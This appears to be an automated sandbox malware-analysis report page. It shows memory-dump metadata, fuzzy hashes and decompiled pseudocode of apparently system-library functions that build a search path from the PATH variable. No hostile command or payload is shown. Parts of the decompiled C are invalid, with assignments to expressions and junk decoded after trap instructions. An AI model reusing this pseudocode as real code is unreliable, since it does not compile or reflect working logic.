0x04b3baa9
0x04b3bab1
0x04b82cd5
0x04b82cdd
0x04b82cdd
0x04b3babb
0x04b3babc
0x04b3bac2
0x04b3bac3
0x04b3bac3
0x04b3bac6
0x00000000
0x04b3b9dd
0x04b3b9dd
0x04b3b9e7
0x04b3b9e7
0x04b3b9ec
0x04b3b9ec
0x04b3b9f1
0x04b3b9f5
0x04b3b9fa
0x04b3ba00
0x04b3ba0c
0x04b3ba10
0x04b3ba10
0x04b3ba12
0x04b3ba18
0x00000000
0x00000000
0x04b3bb26
0x04b3bb26
0x04b3ba1e
0x04b3ba1e
0x04b3ba23
0x04b3ba25
0x04b3ba2c
0x04b3ba30
0x04b3ba35
0x04b3ba35
0x04b3ba41
0x04b3ba46
0x04b3ba4c
0x04b3ba50
0x04b3ba54
0x04b3ba6a
0x04b3ba6e
0x04b3ba70
0x04b3ba74
0x04b3ba78
0x04b3ba7a
0x04b3ba7c
0x04b3ba8e
0x04b3ba90
0x04b3ba92
0x04b3bb14
0x04b3bb14
0x04b3bb16
0x04b3bb16
0x00000000
0x04b3ba7c
0x04b3bb0a
0x04b3bb0d
0x00000000
0x00000000
0x00000000
0x04b3bb0f

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04B3B9A5

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 76f0bd710c80dadc20095b26dce49a9b0569f3fb966ffd5299cdcc4285e51a51
Instruction ID: c4e619269cfc70b13e86f04dca8fd3835e29a781a1c605ce96a94033a7e8b2d5
Opcode Fuzzy Hash: 76f0bd710c80dadc20095b26dce49a9b0569f3fb966ffd5299cdcc4285e51a51
Instruction Fuzzy Hash: 68514D71608740CFC724DF2AC480A2AFBE5FB88615F1589AEE58597359EB30F845CB92

Uniqueness

Uniqueness Score: -1.00%

Function 04B42581, Relevance: 1.6, Strings: 1, Instructions: 329
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E04B42581(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, signed int _a4, char _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, intOrPtr _a12245849, intOrPtr _a12245853) {
				signed int _v8;
				signed int _v16;
				unsigned int _v24;
				void* _v28;
				signed int _v32;
				unsigned int _v36;
				signed int _v37;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _t241;
				signed int _t245;
				signed int _t256;
				signed int _t258;
				intOrPtr _t260;
				signed int _t263;
				signed int _t270;
				signed int _t273;
				signed int _t281;
				signed int _t283;
				intOrPtr _t288;
				signed int _t290;
				signed int _t292;
				void* _t294;
				signed int _t295;
				unsigned int _t298;
				signed int _t302;
				signed int _t304;
				signed int _t308;
				intOrPtr _t320;
				signed int _t329;
				signed int _t331;
				signed int _t332;
				signed int _t336;
				signed int _t337;
				void* _t339;
				signed int _t340;
				signed int _t342;
				signed int _t345;
				void* _t346;

				_t342 = _t345;
				_t346 = _t345 - 0x4c;
				_v8 =  *0x4c0d360 ^ _t342;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t336 = 0x4c0b2e8;
				_v56 = _a4;
				_v48 = __edx;
				_v60 = __ecx;
				_t298 = 0;
				_v80 = 0;
				asm("movsd");
				_v64 = 0;
				_v76 = 0;
				_v72 = 0;
				asm("movsd");
				_v44 = 0;
				_v52 = 0;
				_v68 = 0;
				asm("movsd");
				_v32 = 0;
				_v36 = 0;
				asm("movsd");
				_v16 = 0;
				_t288 = 0x48;
				_t318 = 0 | (_v24 >> 0x0000001c & 0x00000003) == 0x00000001;
				_t329 = 0;
				_v37 = _t318;
				if(_v48 <= 0) {
					L16:
					_t45 = _t288 - 0x48; // 0x0
					__eflags = _t45 - 0xfffe;
					if(_t45 > 0xfffe) {
						_t337 = 0xc0000106;
						goto L32;
					} else {
						_t336 = L04B34620(_t298,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t288);
						_v52 = _t336;
						__eflags = _t336;
						if(_t336 == 0) {
							_t337 = 0xc0000017;
							goto L32;
						} else {
							 *(_t336 + 0x44) =  *(_t336 + 0x44) & 0x00000000;
							_t50 = _t336 + 0x48; // 0x48
							_t331 = _t50;
							_t318 = _v32;
							 *((intOrPtr*)(_t336 + 0x3c)) = _t288;
							_t290 = 0;
							 *((short*)(_t336 + 0x30)) = _v48;
							__eflags = _t318;
							if(_t318 != 0) {
								 *(_t336 + 0x18) = _t331;
								__eflags = _t318 - 0x4c08478;
								 *_t336 = ((0 | _t318 == 0x04c08478) - 0x00000001 & 0xfffffffb) + 7;
								E04B5F3E0(_t331,  *((intOrPtr*)(_t318 + 4)),  *_t318 & 0x0000ffff);
								_t318 = _v32;
								_t346 = _t346 + 0xc;
								_t290 = 1;
								__eflags = _a8;
								_t331 = _t331 + (( *_t318 & 0x0000ffff) >> 1) * 2;
								if(_a8 != 0) {
									_t281 = E04BA39F2(_t331);
									_t318 = _v32;
									_t331 = _t281;
								}
							}
							_t302 = 0;
							_v16 = 0;
							__eflags = _v48;
							if(_v48 <= 0) {
								L31:
								_t337 = _v68;
								__eflags = 0;
								 *((short*)(_t331 - 2)) = 0;
								goto L32;
							} else {
								_t292 = _t336 + _t290 * 4;
								_v56 = _t292;
								do {
									__eflags = _t318;
									if(_t318 != 0) {
										_t241 =  *(_v60 + _t302 * 4);
										__eflags = _t241;
										if(_t241 == 0) {
											goto L30;
										} else {
											__eflags = _t241 == 5;
											if(_t241 == 5) {
												goto L30;
											} else {
												goto L22;
											}
										}
									} else {
										L22:
										 *_t292 =  *(_v60 + _t302 * 4);
										 *(_t292 + 0x18) = _t331;
										_t245 =  *(_v60 + _t302 * 4);
										__eflags = _t245 - 8;
										if(_t245 > 8) {
											goto L56;
										} else {
											switch( *((intOrPtr*)(_t245 * 4 +  &M04B42959))) {
												case 0:
													__ax =  *0x4c08488;
													__eflags = __ax;
													if(__ax == 0) {
														goto L29;
													} else {
														__ax & 0x0000ffff = E04B5F3E0(__edi,  *0x4c0848c, __ax & 0x0000ffff);
														__eax =  *0x4c08488 & 0x0000ffff;
														goto L26;
													}
													goto L108;
												case 1:
													L45:
													E04B5F3E0(_t331, _v80, _v64);
													_t276 = _v64;
													goto L26;
												case 2:
													 *0x4c08480 & 0x0000ffff = E04B5F3E0(__edi,  *0x4c08484,  *0x4c08480 & 0x0000ffff);
													__eax =  *0x4c08480 & 0x0000ffff;
													__eax = ( *0x4c08480 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													goto L28;
												case 3:
													__eax = _v44;
													__eflags = __eax;
													if(__eax == 0) {
														goto L29;
													} else {
														__esi = __eax + __eax;
														__eax = E04B5F3E0(__edi, _v72, __esi);
														__edi = __edi + __esi;
														__esi = _v52;
														goto L27;
													}
													goto L108;
												case 4:
													_push(0x2e);
													_pop(__eax);
													 *(__esi + 0x44) = __edi;
													 *__edi = __ax;
													__edi = __edi + 4;
													_push(0x3b);
													_pop(__eax);
													 *(__edi - 2) = __ax;
													goto L29;
												case 5:
													__eflags = _v36;
													if(_v36 == 0) {
														goto L45;
													} else {
														E04B5F3E0(_t331, _v76, _v36);
														_t276 = _v36;
													}
													L26:
													_t346 = _t346 + 0xc;
													_t331 = _t331 + (_t276 >> 1) * 2 + 2;
													__eflags = _t331;
													L27:
													_push(0x3b);
													_pop(_t278);
													 *((short*)(_t331 - 2)) = _t278;
													goto L28;
												case 6:
													__ebx =  *0x4c0575c;
													__eflags = __ebx - 0x4c0575c;
													if(__ebx != 0x4c0575c) {
														_push(0x3b);
														_pop(__esi);
														do {
															 *(__ebx + 8) & 0x0000ffff = __ebx + 0xa;
															E04B5F3E0(__edi, __ebx + 0xa,  *(__ebx + 8) & 0x0000ffff) =  *(__ebx + 8) & 0x0000ffff;
															__eax = ( *(__ebx + 8) & 0x0000ffff) >> 1;
															__edi = __edi + __eax * 2;
															__edi = __edi + 2;
															 *(__edi - 2) = __si;
															__ebx =  *__ebx;
															__eflags = __ebx - 0x4c0575c;
														} while (__ebx != 0x4c0575c);
														__esi = _v52;
														__ecx = _v16;
														__edx = _v32;
													}
													__ebx = _v56;
													goto L29;
												case 7:
													 *0x4c08478 & 0x0000ffff = E04B5F3E0(__edi,  *0x4c0847c,  *0x4c08478 & 0x0000ffff);
													__eax =  *0x4c08478 & 0x0000ffff;
													__eax = ( *0x4c08478 & 0x0000ffff) >> 1;
													__eflags = _a8;
													__edi = __edi + __eax * 2;
													if(_a8 != 0) {
														__ecx = __edi;
														__eax = E04BA39F2(__ecx);
														__edi = __eax;
													}
													goto L28;
												case 8:
													__eax = 0;
													 *(__edi - 2) = __ax;
													 *0x4c06e58 & 0x0000ffff = E04B5F3E0(__edi,  *0x4c06e5c,  *0x4c06e58 & 0x0000ffff);
													 *(__esi + 0x38) = __edi;
													__eax =  *0x4c06e58 & 0x0000ffff;
													__eax = ( *0x4c06e58 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													__edi = __edi + 2;
													L28:
													_t302 = _v16;
													_t318 = _v32;
													L29:
													_t292 = _t292 + 4;
													__eflags = _t292;
													_v56 = _t292;
													goto L30;
											}
										}
									}
									goto L108;
									L30:
									_t302 = _t302 + 1;
									_v16 = _t302;
									__eflags = _t302 - _v48;
								} while (_t302 < _v48);
								goto L31;
							}
						}
					}
				} else {
					while(1) {
						L1:
						_t283 =  *(_v60 + _t329 * 4);
						if(_t283 > 8) {
							break;
						}
						switch( *((intOrPtr*)(_t283 * 4 +  &M04B42935))) {
							case 0:
								__ax =  *0x4c08488;
								__eflags = __ax;
								if(__ax != 0) {
									__eax = __ax & 0x0000ffff;
									__ebx = __ebx + 2;
									__eflags = __ebx;
									goto L53;
								}
								goto L14;
							case 1:
								L44:
								_t318 =  &_v64;
								_v80 = E04B42E3E(0,  &_v64);
								_t288 = _t288 + _v64 + 2;
								goto L13;
							case 2:
								__eax =  *0x4c08480 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0x4c08480;
									goto L80;
								}
								goto L14;
							case 3:
								__eax = E04B2EEF0(0x4c079a0);
								__eax =  &_v44;
								_push(__eax);
								_push(0);
								_push(0);
								_push(4);
								_push(L"PATH");
								_push(0);
								L57();
								__esi = __eax;
								_v68 = __esi;
								__eflags = __esi - 0xc0000023;
								if(__esi != 0xc0000023) {
									L10:
									__eax = E04B2EB70(__ecx, 0x4c079a0);
									__eflags = __esi - 0xc0000100;
									if(__esi == 0xc0000100) {
										_v44 = _v44 & 0x00000000;
										__eax = 0;
										_v68 = 0;
										goto L13;
									} else {
										__eflags = __esi;
										if(__esi < 0) {
											L32:
											_t219 = _v72;
											__eflags = _t219;
											if(_t219 != 0) {
												L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t219);
											}
											_t220 = _v52;
											__eflags = _t220;
											if(_t220 != 0) {
												__eflags = _t337;
												if(_t337 < 0) {
													L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t220);
													_t220 = 0;
												}
											}
											goto L36;
										} else {
											__eax = _v44;
											__ebx = __ebx + __eax * 2;
											__ebx = __ebx + 2;
											__eflags = __ebx;
											L13:
											_t298 = _v36;
											goto L14;
										}
									}
								} else {
									__eax = _v44;
									__ecx =  *0x4c07b9c; // 0x0
									_v44 + _v44 =  *[fs:0x30];
									__ecx = __ecx + 0x180000;
									__eax = L04B34620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), __ecx,  *[fs:0x30]);
									_v72 = __eax;
									__eflags = __eax;
									if(__eax == 0) {
										__eax = E04B2EB70(__ecx, 0x4c079a0);
										__eax = _v52;
										L36:
										_pop(_t330);
										_pop(_t338);
										__eflags = _v8 ^ _t342;
										_pop(_t289);
										return E04B5B640(_t220, _t289, _v8 ^ _t342, _t318, _t330, _t338);
									} else {
										__ecx =  &_v44;
										_push(__ecx);
										_push(_v44);
										_push(__eax);
										_push(4);
										_push(L"PATH");
										_push(0);
										L57();
										__esi = __eax;
										_v68 = __eax;
										goto L10;
									}
								}
								goto L108;
							case 4:
								__ebx = __ebx + 4;
								goto L14;
							case 5:
								_t284 = _v56;
								if(_v56 != 0) {
									_t318 =  &_v36;
									_t286 = E04B42E3E(_t284,  &_v36);
									_t298 = _v36;
									_v76 = _t286;
								}
								if(_t298 == 0) {
									goto L44;
								} else {
									_t288 = _t288 + 2 + _t298;
								}
								goto L14;
							case 6:
								__eax =  *0x4c05764 & 0x0000ffff;
								goto L53;
							case 7:
								__eax =  *0x4c08478 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = _a8;
								if(_a8 != 0) {
									__ebx = __ebx + 0x16;
									__ebx = __ebx + __eax;
								}
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0x4c08478;
									L80:
									_v32 = __eax;
								}
								goto L14;
							case 8:
								__eax =  *0x4c06e58 & 0x0000ffff;
								__eax = ( *0x4c06e58 & 0x0000ffff) + 2;
								L53:
								__ebx = __ebx + __eax;
								L14:
								_t329 = _t329 + 1;
								if(_t329 >= _v48) {
									goto L16;
								} else {
									_t318 = _v37;
									goto L1;
								}
								goto L108;
						}
					}
					L56:
					asm("int 0x29");
					asm("out 0x28, al");
					asm("o16 sub [esp+eax+0x4b427e0], dh");
					_t339 = _t336 + 1;
					 *((intOrPtr*)(_t346 + 0x4b42609)) =  *((intOrPtr*)(_t346 + 0x4b42609)) - _t318;
					ds = 0x25;
					_pop(_t294);
					_a12245853 = _a12245853 - _t318;
					_push(ds);
					_a12245849 = _a12245849 - _t318;
					asm("daa");
					asm("fcomp dword [ebx-0x48]");
					_a12245853 =  *((intOrPtr*)(_t346 + 0x4b85cec)) - _t318;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(0x20);
					_push(0x4beff00);
					E04B6D08C(_t294, _t331, _t339);
					_v44 =  *[fs:0x18];
					_t332 = 0;
					 *_a24 = 0;
					_t295 = _a12;
					__eflags = _t295;
					if(_t295 == 0) {
						_t256 = 0xc0000100;
					} else {
						_v8 = 0;
						_t340 = 0xc0000100;
						_v52 = 0xc0000100;
						_t258 = 4;
						while(1) {
							_v40 = _t258;
							__eflags = _t258;
							if(_t258 == 0) {
								break;
							}
							_t308 = _t258 * 0xc;
							_v48 = _t308;
							__eflags = _t295 -  *((intOrPtr*)(_t308 + 0x4af1664));
							if(__eflags <= 0) {
								if(__eflags == 0) {
									_t273 = E04B5E5C0(_a8,  *((intOrPtr*)(_t308 + 0x4af1668)), _t295);
									_t346 = _t346 + 0xc;
									__eflags = _t273;
									if(__eflags == 0) {
										_t340 = E04B951BE(_t295,  *((intOrPtr*)(_v48 + 0x4af166c)), _a16, _t332, _t340, __eflags, _a20, _a24);
										_v52 = _t340;
										break;
									} else {
										_t258 = _v40;
										goto L62;
									}
									goto L70;
								} else {
									L62:
									_t258 = _t258 - 1;
									continue;
								}
							}
							break;
						}
						_v32 = _t340;
						__eflags = _t340;
						if(_t340 < 0) {
							__eflags = _t340 - 0xc0000100;
							if(_t340 == 0xc0000100) {
								_t304 = _a4;
								__eflags = _t304;
								if(_t304 != 0) {
									_v36 = _t304;
									__eflags =  *_t304 - _t332;
									if( *_t304 == _t332) {
										_t340 = 0xc0000100;
										goto L76;
									} else {
										_t320 =  *((intOrPtr*)(_v44 + 0x30));
										_t260 =  *((intOrPtr*)(_t320 + 0x10));
										__eflags =  *((intOrPtr*)(_t260 + 0x48)) - _t304;
										if( *((intOrPtr*)(_t260 + 0x48)) == _t304) {
											__eflags =  *(_t320 + 0x1c);
											if( *(_t320 + 0x1c) == 0) {
												L106:
												_t340 = E04B42AE4( &_v36, _a8, _t295, _a16, _a20, _a24);
												_v32 = _t340;
												__eflags = _t340 - 0xc0000100;
												if(_t340 != 0xc0000100) {
													goto L69;
												} else {
													_t332 = 1;
													_t304 = _v36;
													goto L75;
												}
											} else {
												_t263 = E04B26600( *(_t320 + 0x1c));
												__eflags = _t263;
												if(_t263 != 0) {
													goto L106;
												} else {
													_t304 = _a4;
													goto L75;
												}
											}
										} else {
											L75:
											_t340 = E04B42C50(_t304, _a8, _t295, _a16, _a20, _a24, _t332);
											L76:
											_v32 = _t340;
											goto L69;
										}
									}
									goto L108;
								} else {
									E04B2EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
									_v8 = 1;
									_v36 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v44 + 0x30)) + 0x10)) + 0x48));
									_t340 = _a24;
									_t270 = E04B42AE4( &_v36, _a8, _t295, _a16, _a20, _t340);
									_v32 = _t270;
									__eflags = _t270 - 0xc0000100;
									if(_t270 == 0xc0000100) {
										_v32 = E04B42C50(_v36, _a8, _t295, _a16, _a20, _t340, 1);
									}
									_v8 = _t332;
									E04B42ACB();
								}
							}
						}
						L69:
						_v8 = 0xfffffffe;
						_t256 = _t340;
					}
					L70:
					return E04B6D0D1(_t256);
				}
				L108:
			}

0x04b42584
0x04b42586
0x04b42590
0x04b42596
0x04b42597
0x04b42598
0x04b42599
0x04b4259e
0x04b425a4
0x04b425a9
0x04b425ac
0x04b425ae
0x04b425b1
0x04b425b2
0x04b425b5
0x04b425b8
0x04b425bb
0x04b425bc
0x04b425bf
0x04b425c2
0x04b425c5
0x04b425c6
0x04b425cb
0x04b425ce
0x04b425d8
0x04b425dd
0x04b425de
0x04b425e1
0x04b425e3
0x04b425e9
0x04b426da
0x04b426da
0x04b426dd
0x04b426e2
0x04b85b56
0x00000000
0x04b426e8
0x04b426f9
0x04b426fb
0x04b426fe
0x04b42700
0x04b85b60
0x00000000
0x04b42706
0x04b42706
0x04b4270a
0x04b4270a
0x04b4270d
0x04b42713
0x04b42716
0x04b42718
0x04b4271c
0x04b4271e
0x04b85b6c
0x04b85b6f
0x04b85b7f
0x04b85b89
0x04b85b8e
0x04b85b93
0x04b85b96
0x04b85b9c
0x04b85ba0
0x04b85ba3
0x04b85bab
0x04b85bb0
0x04b85bb3
0x04b85bb3
0x04b85ba3
0x04b42724
0x04b42726
0x04b42729
0x04b4272c
0x04b4279d
0x04b4279d
0x04b427a0
0x04b427a2
0x00000000
0x04b4272e
0x04b4272e
0x04b42731
0x04b42734
0x04b42734
0x04b42736
0x04b85bc1
0x04b85bc1
0x04b85bc4
0x00000000
0x04b85bca
0x04b85bca
0x04b85bcd
0x00000000
0x04b85bd3
0x00000000
0x04b85bd3
0x04b85bcd
0x04b4273c
0x04b4273c
0x04b42742
0x04b42747
0x04b4274a
0x04b4274d
0x04b42750
0x00000000
0x04b42756
0x04b42756
0x00000000
0x04b42902
0x04b42908
0x04b4290b
0x00000000
0x04b42911
0x04b4291c
0x04b42921
0x00000000
0x04b42921
0x00000000
0x00000000
0x04b42880
0x04b42887
0x04b4288c
0x00000000
0x00000000
0x04b42805
0x04b4280a
0x04b42814
0x04b42816
0x00000000
0x00000000
0x04b4281e
0x04b42821
0x04b42823
0x00000000
0x04b42829
0x04b42829
0x04b42831
0x04b4283c
0x04b4283e
0x00000000
0x04b4283e
0x00000000
0x00000000
0x04b4284e
0x04b42850
0x04b42851
0x04b42854
0x04b42857
0x04b4285a
0x04b4285c
0x04b4285d
0x00000000
0x00000000
0x04b4275d
0x04b42761
0x00000000
0x04b42767
0x04b4276e
0x04b42773
0x04b42773
0x04b42776
0x04b42778
0x04b4277e
0x04b4277e
0x04b42781
0x04b42781
0x04b42783
0x04b42784
0x00000000
0x00000000
0x04b85bd8
0x04b85bde
0x04b85be4
0x04b85be6
0x04b85be8
0x04b85be9
0x04b85bee
0x04b85bf8
0x04b85bff
0x04b85c01
0x04b85c04
0x04b85c07
0x04b85c0b
0x04b85c0d
0x04b85c0d
0x04b85c15
0x04b85c18
0x04b85c1b
0x04b85c1b
0x04b85c1e
0x00000000
0x00000000
0x04b428c3
0x04b428c8
0x04b428d2
0x04b428d4
0x04b428d8
0x04b428db
0x04b85c26
0x04b85c28
0x04b85c2d
0x04b85c2d
0x00000000
0x00000000
0x04b85c34
0x04b85c36
0x04b85c49
0x04b85c4e
0x04b85c54
0x04b85c5b
0x04b85c5d
0x04b85c60
0x04b42788
0x04b42788
0x04b4278b
0x04b4278e
0x04b4278e
0x04b4278e
0x04b42791
0x00000000
0x00000000
0x04b42756
0x04b42750
0x00000000
0x04b42794
0x04b42794
0x04b42795
0x04b42798
0x04b42798
0x00000000
0x04b42734
0x04b4272c
0x04b42700
0x04b425ef
0x04b425ef
0x04b425ef
0x04b425f2
0x04b425f8
0x00000000
0x00000000
0x04b425fe
0x00000000
0x04b428e6
0x04b428ec
0x04b428ef
0x04b428f5
0x04b428f8
0x04b428f8
0x00000000
0x04b428f8
0x00000000
0x00000000
0x04b42866
0x04b42866
0x04b42876
0x04b42879
0x00000000
0x00000000
0x04b427e0
0x04b427e7
0x04b427e9
0x04b427eb
0x04b85afd
0x00000000
0x04b85afd
0x00000000
0x00000000
0x04b42633
0x04b42638
0x04b4263b
0x04b4263c
0x04b4263e
0x04b42640
0x04b42642
0x04b42647
0x04b42649
0x04b4264e
0x04b42650
0x04b42653
0x04b42659
0x04b426a2
0x04b426a7
0x04b426ac
0x04b426b2
0x04b85b11
0x04b85b15
0x04b85b17
0x00000000
0x04b426b8
0x04b426b8
0x04b426ba
0x04b427a6
0x04b427a6
0x04b427a9
0x04b427ab
0x04b427b9
0x04b427b9
0x04b427be
0x04b427c1
0x04b427c3
0x04b427c5
0x04b427c7
0x04b85c74
0x04b85c79
0x04b85c79
0x04b427c7
0x00000000
0x04b426c0
0x04b426c0
0x04b426c3
0x04b426c6
0x04b426c6
0x04b426c9
0x04b426c9
0x00000000
0x04b426c9
0x04b426ba
0x04b4265b
0x04b4265b
0x04b4265e
0x04b42667
0x04b4266d
0x04b42677
0x04b4267c
0x04b4267f
0x04b42681
0x04b85b49
0x04b85b4e
0x04b427cd
0x04b427d0
0x04b427d1
0x04b427d2
0x04b427d4
0x04b427dd
0x04b42687
0x04b42687
0x04b4268a
0x04b4268b
0x04b4268e
0x04b4268f
0x04b42691
0x04b42696
0x04b42698
0x04b4269d
0x04b4269f
0x00000000
0x04b4269f
0x04b42681
0x00000000
0x00000000
0x04b42846
0x00000000
0x00000000
0x04b42605
0x04b4260a
0x04b4260c
0x04b42611
0x04b42616
0x04b42619
0x04b42619
0x04b4261e
0x00000000
0x04b42624
0x04b42627
0x04b42627
0x00000000
0x00000000
0x04b85b1f
0x00000000
0x00000000
0x04b42894
0x04b4289b
0x04b4289d
0x04b428a1
0x04b85b2b
0x04b85b2e
0x04b85b2e
0x04b428a7
0x04b428a9
0x04b85b04
0x04b85b09
0x04b85b09
0x04b85b09
0x00000000
0x00000000
0x04b85b35
0x04b85b3c
0x04b428fb
0x04b428fb
0x04b426cc
0x04b426cc
0x04b426d0
0x00000000
0x04b426d2
0x04b426d2
0x00000000
0x04b426d2
0x00000000
0x00000000
0x04b425fe
0x04b4292d
0x04b42930
0x04b42935
0x04b42939
0x04b42945
0x04b42946
0x04b4294d
0x04b42956
0x04b4295e
0x04b42965
0x04b42966
0x04b4296e
0x04b42971
0x04b42976
0x04b4297d
0x04b4297e
0x04b4297f
0x04b42980
0x04b42981
0x04b42982
0x04b42983
0x04b42984
0x04b42985
0x04b42986
0x04b42987
0x04b42988
0x04b42989
0x04b4298a
0x04b4298b
0x04b4298c
0x04b4298d
0x04b4298e
0x04b4298f
0x04b42990
0x04b42992
0x04b42997
0x04b429a3
0x04b429a6
0x04b429ab
0x04b429ad
0x04b429b0
0x04b429b2
0x04b85c80
0x04b429b8
0x04b429b8
0x04b429bb
0x04b429c0
0x04b429c5
0x04b429c6
0x04b429c6
0x04b429c9
0x04b429cb
0x00000000
0x00000000
0x04b429cd
0x04b429d0
0x04b429d9
0x04b429db
0x04b429dd
0x04b42a7f
0x04b42a84
0x04b42a87
0x04b42a89
0x04b85ca1
0x04b85ca3
0x00000000
0x04b42a8f
0x04b42a8f
0x00000000
0x04b42a8f
0x00000000
0x04b429e3
0x04b429e3
0x04b429e3
0x00000000
0x04b429e3
0x04b429dd
0x00000000
0x04b429db
0x04b429e6
0x04b429e9
0x04b429eb
0x04b429ed
0x04b429f3
0x04b429f5
0x04b429f8
0x04b429fa
0x04b42a97
0x04b42a9a
0x04b42a9d
0x04b42add
0x00000000
0x04b42a9f
0x04b42aa2
0x04b42aa5
0x04b42aa8
0x04b42aab
0x04b85cab
0x04b85caf
0x04b85cc5
0x04b85cda
0x04b85cdc
0x04b85cdf
0x04b85ce5
0x00000000
0x04b85ceb
0x04b85ced
0x04b85cee
0x00000000
0x04b85cee
0x04b85cb1
0x04b85cb4
0x04b85cb9
0x04b85cbb
0x00000000
0x04b85cbd
0x04b85cbd
0x00000000
0x04b85cbd
0x04b85cbb
0x04b42ab1
0x04b42ab1
0x04b42ac4
0x04b42ac6
0x04b42ac6
0x00000000
0x04b42ac6
0x04b42aab
0x00000000
0x04b42a00
0x04b42a09
0x04b42a0e
0x04b42a21
0x04b42a24
0x04b42a35
0x04b42a3a
0x04b42a3d
0x04b42a42
0x04b42a59
0x04b42a59
0x04b42a5c
0x04b42a5f
0x04b42a5f
0x04b429fa
0x04b429f3
0x04b42a64
0x04b42a64
0x04b42a6b
0x04b42a6b
0x04b42a6d
0x04b42a72
0x04b42a72
0x00000000

Strings

PATH, xrefs: 04B42642, 04B42691

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: PATH
API String ID: 0-1036084923
Opcode ID: 7c2f9013c0dc27468c2ec1ffc1a282d4f532548efcfbaf5e2f4bdcd5e94c9f67
Instruction ID: cfc943264283588a6ce7bcee2a5d8f46cf3a01b8f7608e6e74aa41f747a0c8e2
Opcode Fuzzy Hash: 7c2f9013c0dc27468c2ec1ffc1a282d4f532548efcfbaf5e2f4bdcd5e94c9f67
Instruction Fuzzy Hash: 94C17275E00215EBDB19DF99D880BADB7B1FF88744F4480A9F901AB250E734BD41EB60

Uniqueness

Uniqueness Score: -1.00%

Function 04B4FAB0, Relevance: 1.6, Strings: 1, Instructions: 306
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E04B4FAB0(void* __ebx, void* __esi, signed int _a8, signed int _a12) {
				char _v5;
				signed int _v8;
				signed int _v12;
				char _v16;
				char _v17;
				char _v20;
				signed int _v24;
				char _v28;
				char _v32;
				signed int _v40;
				void* __ecx;
				void* __edi;
				void* __ebp;
				signed int _t73;
				intOrPtr* _t75;
				signed int _t77;
				signed int _t79;
				signed int _t81;
				intOrPtr _t83;
				intOrPtr _t85;
				intOrPtr _t86;
				signed int _t91;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				signed int _t106;
				signed int _t108;
				signed int _t114;
				signed int _t116;
				signed int _t118;
				signed int _t122;
				signed int _t123;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t134;
				signed int _t138;
				signed int _t141;
				signed int _t147;
				intOrPtr _t153;
				signed int _t154;
				signed int _t155;
				signed int _t170;
				void* _t174;
				signed int _t176;
				signed int _t177;

				_t129 = __ebx;
				_push(_t132);
				_push(__esi);
				_t174 = _t132;
				_t73 =  !( *( *(_t174 + 0x18)));
				if(_t73 >= 0) {
					L5:
					return _t73;
				} else {
					E04B2EEF0(0x4c07b60);
					_t134 =  *0x4c07b84; // 0x771c7b80
					_t2 = _t174 + 0x24; // 0x24
					_t75 = _t2;
					if( *_t134 != 0x4c07b80) {
						_push(3);
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x4c07b60);
						_t170 = _v8;
						_v28 = 0;
						_v40 = 0;
						_v24 = 0;
						_v17 = 0;
						_v32 = 0;
						__eflags = _t170 & 0xffff7cf2;
						if((_t170 & 0xffff7cf2) != 0) {
							L43:
							_t77 = 0xc000000d;
						} else {
							_t79 = _t170 & 0x0000000c;
							__eflags = _t79;
							if(_t79 != 0) {
								__eflags = _t79 - 0xc;
								if(_t79 == 0xc) {
									goto L43;
								} else {
									goto L9;
								}
							} else {
								_t170 = _t170 | 0x00000008;
								__eflags = _t170;
								L9:
								_t81 = _t170 & 0x00000300;
								__eflags = _t81 - 0x300;
								if(_t81 == 0x300) {
									goto L43;
								} else {
									_t138 = _t170 & 0x00000001;
									__eflags = _t138;
									_v24 = _t138;
									if(_t138 != 0) {
										__eflags = _t81;
										if(_t81 != 0) {
											goto L43;
										} else {
											goto L11;
										}
									} else {
										L11:
										_push(_t129);
										_t77 = E04B26D90( &_v20);
										_t130 = _t77;
										__eflags = _t130;
										if(_t130 >= 0) {
											_push(_t174);
